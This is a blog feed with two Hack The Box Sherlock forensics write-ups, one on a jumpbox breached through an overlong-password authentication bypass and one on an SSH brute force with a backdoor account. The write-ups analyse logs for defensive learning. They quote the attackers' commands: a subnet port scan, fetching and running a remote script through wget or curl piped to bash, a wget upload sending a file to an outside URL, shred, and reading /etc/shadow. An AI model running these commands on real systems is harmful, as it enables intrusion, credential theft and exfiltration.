<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by DNEIRF on Medium]]></title>
        <description><![CDATA[Stories by DNEIRF on Medium]]></description>
        <link>https://medium.com/@saranyu.arp?source=rss-bbe01e002dd4------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*N3Fpw5HXz5EhvOfP2oqmlQ.jpeg</url>
            <title>Stories by DNEIRF on Medium</title>
            <link>https://medium.com/@saranyu.arp?source=rss-bbe01e002dd4------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 00:57:17 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@saranyu.arp/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Hack The Box | Sherlock: SSHole Write up]]></title>
            <link>https://medium.com/@saranyu.arp/hack-the-box-sherlock-sshole-write-up-280774350436?source=rss-bbe01e002dd4------2</link>
            <guid isPermaLink="false">https://medium.com/p/280774350436</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <dc:creator><![CDATA[DNEIRF]]></dc:creator>
            <pubDate>Sat, 28 Nov 2026 18:49:57 GMT</pubDate>
            <atom:updated>2026-11-28T19:21:31.773Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello!, this is another write up from me, I’ve already published a previous one on my profile, and don’t forget to follow for upcoming content. XD</p><p>This sherlock challenge was super fun, It was great piece things together to see what the attacker did.</p><p><strong><em>Sherlock Scenario from HTB</em></strong></p><blockquote>Suspicious traffic was observed from a misconfigured jumpbox to a suspicious domain. You have been provided with evidence pulled from the jumpbox server. Determine how the attackers gained access to the server and what activity they performed afterwards</blockquote><blockquote><em>Jumpbox server is a hardened server like a bridges between external network and private internal network, allow authorized user to safely manage internal systems.</em></blockquote><p><strong>Task1: <em>“What Linux distribution name and version was the targeted server running?”</em></strong></p><p>You can check the Linux distribution name and version at this path</p><pre>cat /etc/os-release</pre><p>os-release is a files that contains operating system identification data, which human is read-able. So the answer is <strong>“Alpine Linux 3.24.3”</strong></p><p><strong>Task2: <em>“What is the CVE ID of the vulnerability abused by the attacker to gain access?”</em></strong></p><p>So as you know, Th<em>e </em>targeted server running is Alpine Linux 3.24.3, then I just search on brower “Alpine Linux 3.24.3 CVE” its come up with <strong>CVE-2026–123158</strong></p><p>this CVE also say “If you summiting a password between 257 and 1,024 bytes causes the password hashing/scrambler operation on musl libc to fail and return *” , Which mean attacker can bypass, by just typing a password between 257 and 1,024 bytes.</p><p><strong>Task3: <em>“When did the attacker exploit the vulnerability?”</em></strong></p><p>This task confused me about what to do at first haha, because I didn’t even know which account was the attacker target and who is attacker. Then I started to enumerate the information.</p><p>If you want to know when did attacker exploit, first you need to find the authentication log (such as /var/log/messages , /var/log/auth.log) for unexpected successful SSH login</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*36N7Jlx63Qi2HzE1pr4ZHQ.png" /><figcaption>Let’s dig deep in to <strong>messages</strong></figcaption></figure><pre>cat messages | grep &quot;auth.info sshd-session&quot;</pre><pre>Nov  6 06:35:14 dev-jumpbox auth.info sshd-session[4551]: Connection closed by 192.168.72.131 port 55562 [preauth]<br>Nov  6 06:39:21 dev-jumpbox auth.info sshd-session[4562]: Connection closed by 192.168.72.131 port 47446 [preauth]<br>Nov  6 06:42:05 dev-jumpbox auth.info sshd-session[4615]: Connection closed by 192.168.72.131 port 42654 [preauth]<br>Nov  6 06:43:00 dev-jumpbox auth.info sshd-session[4617]: Failed password for root from 192.168.72.131 port 53492 ssh2<br>Nov  6 06:43:05 dev-jumpbox auth.info sshd-session[4617]: Accepted password for root from 192.168.72.131 port 53492 ssh2<br>Nov  6 11:27:05 dev-jumpbox auth.info sshd-session[4852]: Failed password for adminsvc from 192.168.72.1 port 61351 ssh2<br>Nov  6 11:27:08 dev-jumpbox auth.info sshd-session[4852]: Accepted password for adminsvc from 192.168.72.1 port 61351 ssh2<br>Nov  6 11:34:56 dev-jumpbox auth.info sshd-session[4619]: Received disconnect from 192.168.72.131 port 53492:11: disconnected by user<br>Nov  6 11:34:56 dev-jumpbox auth.info sshd-session[4619]: Disconnected from user root 192.168.72.131 port 53492<br>Nov  6 12:03:29 dev-jumpbox auth.info sshd-session[5407]: Accepted password for root from 192.168.72.131 port 43238 ssh2<br>Nov  6 12:20:02 dev-jumpbox auth.info sshd-session[4854]: Received disconnect from 192.168.72.1 port 61351:11: disconnected by user<br>Nov  6 12:20:02 dev-jumpbox auth.info sshd-session[4854]: Disconnected from user adminsvc 192.168.72.1 port 61351<br>Nov  6 12:25:09 dev-jumpbox auth.info sshd-session[5423]: Connection closed by authenticating user root 192.168.72.131 port 33800 [preauth]<br>Nov  6 12:25:43 dev-jumpbox auth.info sshd-session[5425]: Accepted password for root from 192.168.72.131 port 47692 ssh2<br>Nov  6 12:25:48 dev-jumpbox auth.err internal-sftp[5428]: error: process_write: write &quot;/root/alpine/root/.cache/vmware/Nov  6 12:27:45 dev-jumpbox auth.info sshd-session[5432]: Accepted password for root from 192.168.72.131 port 44638 ssh2<br>Nov  6 12:27:45 dev-jumpbox auth.info sshd-session[5434]: Received disconnect from 192.168.72.131 port 44638:11: disconnected by user<br>Nov  6 12:27:45 dev-jumpbox auth.info sshd-session[5434]: Disconnected from user root 192.168.72.131 port 44638<br>Nov  6 12:28:03 dev-jumpbox auth.info sshd-session[5436]: Failed password for root from 192.168.72.131 port 44468 ssh2<br>Nov  6 12:28:06 dev-jumpbox auth.info sshd-session[5436]: Accepted password for root from 192.168.72.131 port 44468 ssh2<br>Nov  6 12:28:06 dev-jumpbox auth.info sshd-session[5438]: Received disconnect from 192.168.72.131 port 44468:11: disconnected by user<br>Nov  6 12:28:06 dev-jumpbox auth.info sshd-session[5438]: Disconnected from user root 192.168.72.131 port 44468<br>Nov  6 12:28:18 dev-jumpbox auth.info sshd-session[5440]: Accepted password for root from 192.168.72.131 port 36718 ssh2<br>Nov  6 12:28:18 dev-jumpbox auth.info sshd-session[5442]: Received disconnect from 192.168.72.131 port 36718:11: disconnected by user<br>Nov  6 12:28:18 dev-jumpbox auth.info sshd-session[5442]: Disconnected from user root 192.168.72.131 port 36718<br>Nov  6 12:28:40 dev-jumpbox auth.info sshd-session[5444]: Accepted password for root from 192.168.72.131 port 47002 ssh2</pre><p>You probably see SSH authentication log that contains with fail and success logs in, Sooo how you know which one is attacker (192.168.72.131 or 192.168.72.1) that trying to bypass SSH authentication.</p><pre>cd ../../home</pre><p>let’s step back, and enter the home directory. you can see that there’s only one user named adminsvc, entering the adminsvc directory then</p><pre>ls -la</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HyqzLT8iiiTuox_Vvc_XUA.png" /></figure><p>.ash_history is the key!, it’s a hidden file that stores previously command of that user.</p><pre>cat .ash_history</pre><pre>ls -la<br>for ip in {1..254}; do nc -zvw 1 192.168.18.$ip 1-65535 2&gt;&amp;1 | grep -E &quot;succeeded|open&quot;; done<br>vi scanreport.txt<br>cat scanreport.txt <br>bash &lt;(wget -qO- https://raw.githubusercontent.com/papinyurii33/devscripts/refs/heads/main/setup.sh)<br>ls -la /tmp<br>ls -l /tmp/.devenv<br>wget --post-file=/tmp/.devenv -O- https://devv.coding.eu/process<br>shred -u /tmp/.devenv<br>exit</pre><p>This previous command doesn’t seem safe, attacker trying to scanning all of TCP port across every host in 192.168.18.1 to 192.168.18.254 subnet, and edited scanreport.txt, then running a script from github.</p><p>We can ensure that adminsvc is attacker target user in this server</p><pre>Nov  6 11:27:05 dev-jumpbox auth.info sshd-session[4852]: Failed password for adminsvc from 192.168.72.1 port 61351 ssh2<br>Nov  6 11:27:08 dev-jumpbox auth.info sshd-session[4852]: Accepted password for adminsvc from 192.168.72.1 port 61351 ssh2</pre><p>At <strong>2026–11–06 11:27:08</strong> attacker exploit the vulnerability.</p><p><strong>Task4: <em>“Which user account was abused by the attacker?”</em></strong></p><p>from .ash_history files we can ensure <strong>adminsvc</strong> is the account that abused by the attacker.</p><p><strong>Task5: <em>“What string value causes the authentication bypass?”</em></strong></p><p>on linux, account that are not allow to logs in with password but can logs in with only using SSH key, We categorized by specify <strong>*</strong> in password field of /etc/shadow instead of normal hash. The problem is crypt() function in musl library on Alpine linux has a limits, when using SHA-256 and SHA-512 it can receive a password length only 1 to 256 bytes, If the input higher than that there will return a single <strong>* </strong>instead of return NULL. So that’s a very big problem, because OpenSSH compare the <strong>* </strong>from a failure crypt() function to <strong>*</strong> stored in /etc/shadow, which system was misunderstanding it was correct password and accept the logs in.</p><p><strong>Task6: <em>“What command did the attacker use to scan the network reachable via the jumpbox, allowing them to target internal developer systems?”</em></strong></p><pre>for ip in {1..254}; do nc -zvw 1 192.168.18.$ip 1-65535 2&gt;&amp;1 | grep -E &quot;succeeded|open&quot;; done</pre><p><strong>Task7: <em>“What was the exfiltration URI where the attacker exfiltrated a sensitive file?”</em></strong></p><p>from .ash_history</p><pre>ls -la<br>for ip in {1..254}; do nc -zvw 1 192.168.18.$ip 1-65535 2&gt;&amp;1 | grep -E &quot;succeeded|open&quot;; done<br>vi scanreport.txt<br>cat scanreport.txt <br>bash &lt;(wget -qO- https://raw.githubusercontent.com/papinyurii33/devscripts/refs/heads/main/setup.sh)<br>ls -la /tmp<br>ls -l /tmp/.devenv<br>wget --post-file=/tmp/.devenv -O- https://devv.coding.eu/process<br>shred -u /tmp/.devenv<br>exit</pre><pre>wget --post-file=/tmp/.devenv -O- https://devv.coding.eu/process</pre><p>Attacker sending out the sensitive file to <strong>https://devv.coding.eu/process</strong>, Then overwrote it multiple times using the shred command to delete it.</p><h3>Thanks for reading! See you next one</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=280774350436" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box | Sherlock: Brutus — Write-up]]></title>
            <link>https://medium.com/@saranyu.arp/hack-the-box-sherlock-brutus-write-up-290177a683ae?source=rss-bbe01e002dd4------2</link>
            <guid isPermaLink="false">https://medium.com/p/290177a683ae</guid>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[info-sec-writeups]]></category>
            <dc:creator><![CDATA[DNEIRF]]></dc:creator>
            <pubDate>Sun, 22 Nov 2026 18:52:48 GMT</pubDate>
            <atom:updated>2026-11-22T18:52:48.827Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello guys!, This is my first write-up so any feedback is welcome, I’d really appreciate it! :D</p><p><strong><em>Sherlock Scenario from HTB:</em></strong></p><blockquote><em>In this Sherlock, you will familiarize yourself with Unix auth.log and wtmp logs. We’ll explore a scenario where a Confluence server was brute-forced via its SSH service. After gaining access to the server, the attacker performed additional activities, which we can track using auth.log. Although auth.log is primarily used for brute-force analysis, we will delve into the full potential of this artifact in our investigation, including aspects of privilege escalation, persistence, and even some visibility into command execution.</em></blockquote><p><strong>Task1 : “<em>Analyze the auth.log. What is the IP address used by the attacker to carry out a brute force attack?</em>”</strong></p><p>After we unzip <strong>Brutus.zip</strong>, All we got is “auth.log , utmp.py, wtmp”</p><pre>cat auth.log</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RGlvkhJufI2W-5gYmeUp7w.png" /></figure><p>As you can see, The first part of the log is just a scheduled Cron jobs running as usual, The SSH log shows an <em>AuthorizedKeysCommand</em> which failure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-5buH_fA9GwHZE2vbhZqJg.png" /></figure><p>Now I started to notice something, That doesn’t seem correct at this point. There are too many Invalid login attempts. with incorrect password from <strong>IP 65.2.161.68</strong></p><pre>Mar  6 06:31:31 ip-172-31-35-28 sshd[2325]: Invalid user admin from 65.2.161.68 port 46380<br>Mar  6 06:31:31 ip-172-31-35-28 sshd[2325]: Received disconnect from 65.2.161.68 port 46380:11: Bye Bye [preauth]<br>Mar  6 06:31:31 ip-172-31-35-28 sshd[2325]: Disconnected from invalid user admin 65.2.161.68 port 46380 [preauth]<br>Mar  6 06:31:31 ip-172-31-35-28 sshd[620]: error: beginning MaxStartups throttling<br>Mar  6 06:31:31 ip-172-31-35-28 sshd[620]: drop connection #10 from [65.2.161.68]:46482 on [172.31.35.28]:22 past MaxStartups<br>Mar  6 06:31:31 ip-172-31-35-28 sshd[2327]: Invalid user admin from 65.2.161.68 port 46392<br>Mar  6 06:31:31 ip-172-31-35-28 sshd[2327]: pam_unix(sshd:auth): check pass; user unknown<br>Mar  6 06:31:31 ip-172-31-35-28 sshd[2327]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68 <br>Mar  6 06:31:31 ip-172-31-35-28 sshd[2332]: Invalid user admin from 65.2.161.68 port 46444<br>Mar  6 06:31:31 ip-172-31-35-28 sshd[2331]: Invalid user admin from 65.2.161.68 port 46436</pre><p><strong>Task2 : “<em>The bruteforce attempts were successful and attacker gained access to an account on the server. What is the username of the account?</em>”</strong></p><pre>Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2<br>Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)<br>Mar  6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.</pre><p>At <em>06:32:44</em> attacker successfully authenticated as <strong>root</strong> after many attempts</p><p><strong>Task3 : “<em>Identify the UTC timestamp when the attacker logged in manually to the server and established a terminal session to carry out their objectives. The login time will be different than the authentication time, and can be found in the wtmp artifact.</em>”</strong></p><p>When I first read this Question,I was confused about how can I specify “YEAR”, Because the timestamps in auth.log doesn’t exist. So I started taking a hint from this task.</p><p><strong><em>Task3 hint</em></strong></p><blockquote>It’s important to note that the first successful login by the attacker was the result of an automated brute force attempt, and the session was closed within the same second. After obtaining the working credentials, the attacker manually logged in and established a terminal session, and we need to identify that login. Use the wtmp artifact and the provided utmp.py script to view the login time of the working session and correlate that with auth.log. Remember that the timestamp in wtmp will be displayed in your local system time which may not be UTC.</blockquote><p>Now I got it, <em>utmp,py</em> file is the key!, I started with this command</p><pre>python3 utmp.py --help</pre><p>To see how this python file work, And how I am gonna using it.</p><pre>usage: utmp.py [-h] [-o OUTPUT] input<br><br>utmp parser<br><br>positional arguments:<br>  input                specified input utmp file<br><br>options:<br>  -h, --help           show this help message and exit<br>  -o, --output OUTPUT  specified output file name</pre><p>So my next move is….</p><pre>python3 utmp.py wtmp</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0GzNp2cEo6eUWpTaGGHa8Q.png" /><figcaption>Boom! all you see is incredible</figcaption></figure><p>See down there “host” --&gt; “65.2.161.68” the same IP as attacker IP.</p><p><strong>2024–03–06 06:32:45</strong> is when attacker have logged in to the server.</p><p><strong>Task4 : “<em>SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker’s session for the user account from Question 2?</em>”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DO4fcAxowM8OaXkGVw6lWQ.png" /></figure><p>The session number assigned to attacker’s session for root is <strong>37</strong></p><p><strong>Task5 : “<em>The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?</em>”</strong></p><pre>Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/group: name=cyberjunkie, GID=1002<br>Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/gshadow: name=cyberjunkie<br>Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: new group: name=cyberjunkie, GID=1002<br>Mar  6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1<br>Mar  6 06:34:26 ip-172-31-35-28 passwd[2603]: pam_unix(passwd:chauthtok): password changed for cyberjunkie<br>Mar  6 06:34:31 ip-172-31-35-28 chfn[2605]: changed user &#39;cyberjunkie&#39; information<br>Mar  6 06:35:01 ip-172-31-35-28 CRON[2615]: pam_unix(cron:session): session closed for user confluence<br>Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add &#39;cyberjunkie&#39; to group &#39;sudo&#39;<br>Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add &#39;cyberjunkie&#39; to shadow group &#39;sudo&#39;</pre><p>After getting into server, The attacker created group named <strong>cyberjunkie</strong>, Then he create new user with the same name as group. And add cyberjunkie to group, So this user can use sudo command</p><p><strong>Task6 : “<em>What is the MITRE ATT&amp;CK sub-technique ID used for persistence by creating a new account?</em>”</strong></p><p>First of all, We need to understand MITRE ATT&amp;CK is.</p><blockquote>MITRE ATT&amp;CK is knowledge base that contains information about technique used by attacker. Each technique has it own ID, which help cybersecurity teams be on the same page.</blockquote><p>In this case, the attacker create a new user account named cyberjunkie to maintain access to this server. This behavior matchs the MITEE ATT&amp;CK sub technique <strong>T1136.001</strong></p><p><strong>Task7 : “What time did the attacker’s first SSH session end according to auth.log?”</strong></p><pre>Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2<br>Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)<br>Mar  6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.<br>Mar  6 06:33:01 ip-172-31-35-28 CRON[2561]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)<br>Mar  6 06:33:01 ip-172-31-35-28 CRON[2562]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)<br>Mar  6 06:33:01 ip-172-31-35-28 CRON[2561]: pam_unix(cron:session): session closed for user confluence<br>Mar  6 06:33:01 ip-172-31-35-28 CRON[2562]: pam_unix(cron:session): session closed for user confluence<br>Mar  6 06:34:01 ip-172-31-35-28 CRON[2574]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)<br>Mar  6 06:34:01 ip-172-31-35-28 CRON[2575]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)<br>Mar  6 06:34:01 ip-172-31-35-28 CRON[2575]: pam_unix(cron:session): session closed for user confluence<br>Mar  6 06:34:01 ip-172-31-35-28 CRON[2574]: pam_unix(cron:session): session closed for user confluence<br>Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/group: name=cyberjunkie, GID=1002<br>Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/gshadow: name=cyberjunkie<br>Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: new group: name=cyberjunkie, GID=1002<br>Mar  6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1<br>Mar  6 06:34:26 ip-172-31-35-28 passwd[2603]: pam_unix(passwd:chauthtok): password changed for cyberjunkie<br>Mar  6 06:34:31 ip-172-31-35-28 chfn[2605]: changed user &#39;cyberjunkie&#39; information<br>Mar  6 06:35:01 ip-172-31-35-28 CRON[2614]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0)<br>Mar  6 06:35:01 ip-172-31-35-28 CRON[2616]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)<br>Mar  6 06:35:01 ip-172-31-35-28 CRON[2615]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)<br>Mar  6 06:35:01 ip-172-31-35-28 CRON[2614]: pam_unix(cron:session): session closed for user root<br>Mar  6 06:35:01 ip-172-31-35-28 CRON[2616]: pam_unix(cron:session): session closed for user confluence<br>Mar  6 06:35:01 ip-172-31-35-28 CRON[2615]: pam_unix(cron:session): session closed for user confluence<br>Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add &#39;cyberjunkie&#39; to group &#39;sudo&#39;<br>Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add &#39;cyberjunkie&#39; to shadow group &#39;sudo&#39;<br>Mar  6 06:36:01 ip-172-31-35-28 CRON[2640]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)<br>Mar  6 06:36:01 ip-172-31-35-28 CRON[2641]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)<br>Mar  6 06:36:01 ip-172-31-35-28 CRON[2641]: pam_unix(cron:session): session closed for user confluence<br>Mar  6 06:36:01 ip-172-31-35-28 CRON[2640]: pam_unix(cron:session): session closed for user confluence<br>Mar  6 06:37:01 ip-172-31-35-28 CRON[2654]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)<br>Mar  6 06:37:01 ip-172-31-35-28 CRON[2653]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)<br>Mar  6 06:37:01 ip-172-31-35-28 CRON[2654]: pam_unix(cron:session): session closed for user confluence<br>Mar  6 06:37:01 ip-172-31-35-28 CRON[2653]: pam_unix(cron:session): session closed for user confluence<br>Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Received disconnect from 65.2.161.68 port 53184:11: disconnected by user<br>Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Disconnected from user root 65.2.161.68 port 53184<br>Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session closed for user root</pre><p>At first I thought the answer was 06:33:01, Because it is the first line that said “session closed” after attacker gained access to the server.</p><p>But if we look at it clearly and comparing to the last line</p><pre>Mar  6 06:33:01 ip-172-31-35-28 CRON[2561]: pam_unix(cron:session): session closed for user confluence<br>Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session closed for user root</pre><p>Its look difference! the first one is Cron jobs, not SSH session at all.</p><p>The real one is <strong>2024–03–06 06:37:24</strong></p><p><strong>Task8 : “<em>The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?</em>”</strong></p><pre>Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2<br>Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: pam_unix(sshd:session): session opened for user cyberjunkie(uid=1002) by (uid=0)<br>Mar  6 06:37:34 ip-172-31-35-28 systemd-logind[411]: New session 49 of user cyberjunkie.<br>Mar  6 06:37:34 ip-172-31-35-28 systemd: pam_unix(systemd-user:session): session opened for user cyberjunkie(uid=1002) by (uid=0)<br>Mar  6 06:37:57 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow<br>Mar  6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)<br>Mar  6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root<br>Mar  6 06:38:01 ip-172-31-35-28 CRON[2751]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)<br>Mar  6 06:38:01 ip-172-31-35-28 CRON[2750]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)<br>Mar  6 06:38:01 ip-172-31-35-28 CRON[2750]: pam_unix(cron:session): session closed for user confluence<br>Mar  6 06:38:01 ip-172-31-35-28 CRON[2751]: pam_unix(cron:session): session closed for user confluence<br>Mar  6 06:39:01 ip-172-31-35-28 CRON[2765]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)<br>Mar  6 06:39:01 ip-172-31-35-28 CRON[2764]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)<br>Mar  6 06:39:01 ip-172-31-35-28 CRON[2765]: pam_unix(cron:session): session closed for user confluence<br>Mar  6 06:39:01 ip-172-31-35-28 CRON[2764]: pam_unix(cron:session): session closed for user confluence<br>Mar  6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh</pre><p>After attacker login as cyberjunkie, So he use sudo to run this command to get some script from Github</p><pre>/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh</pre><p>However this command just print content to terminal. It doesn’t execute the script, But if attacker really wanted to run this script, he could use this command instead. I think so haha.</p><pre>/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh | bash</pre><p>Just my thought, not from the actual log.</p><h4>This is my first write-up, So I hope it’s useful for someone who’s learning cybersecurity like me.</h4><h3>Thanks for reading! See you next one :)</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=290177a683ae" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>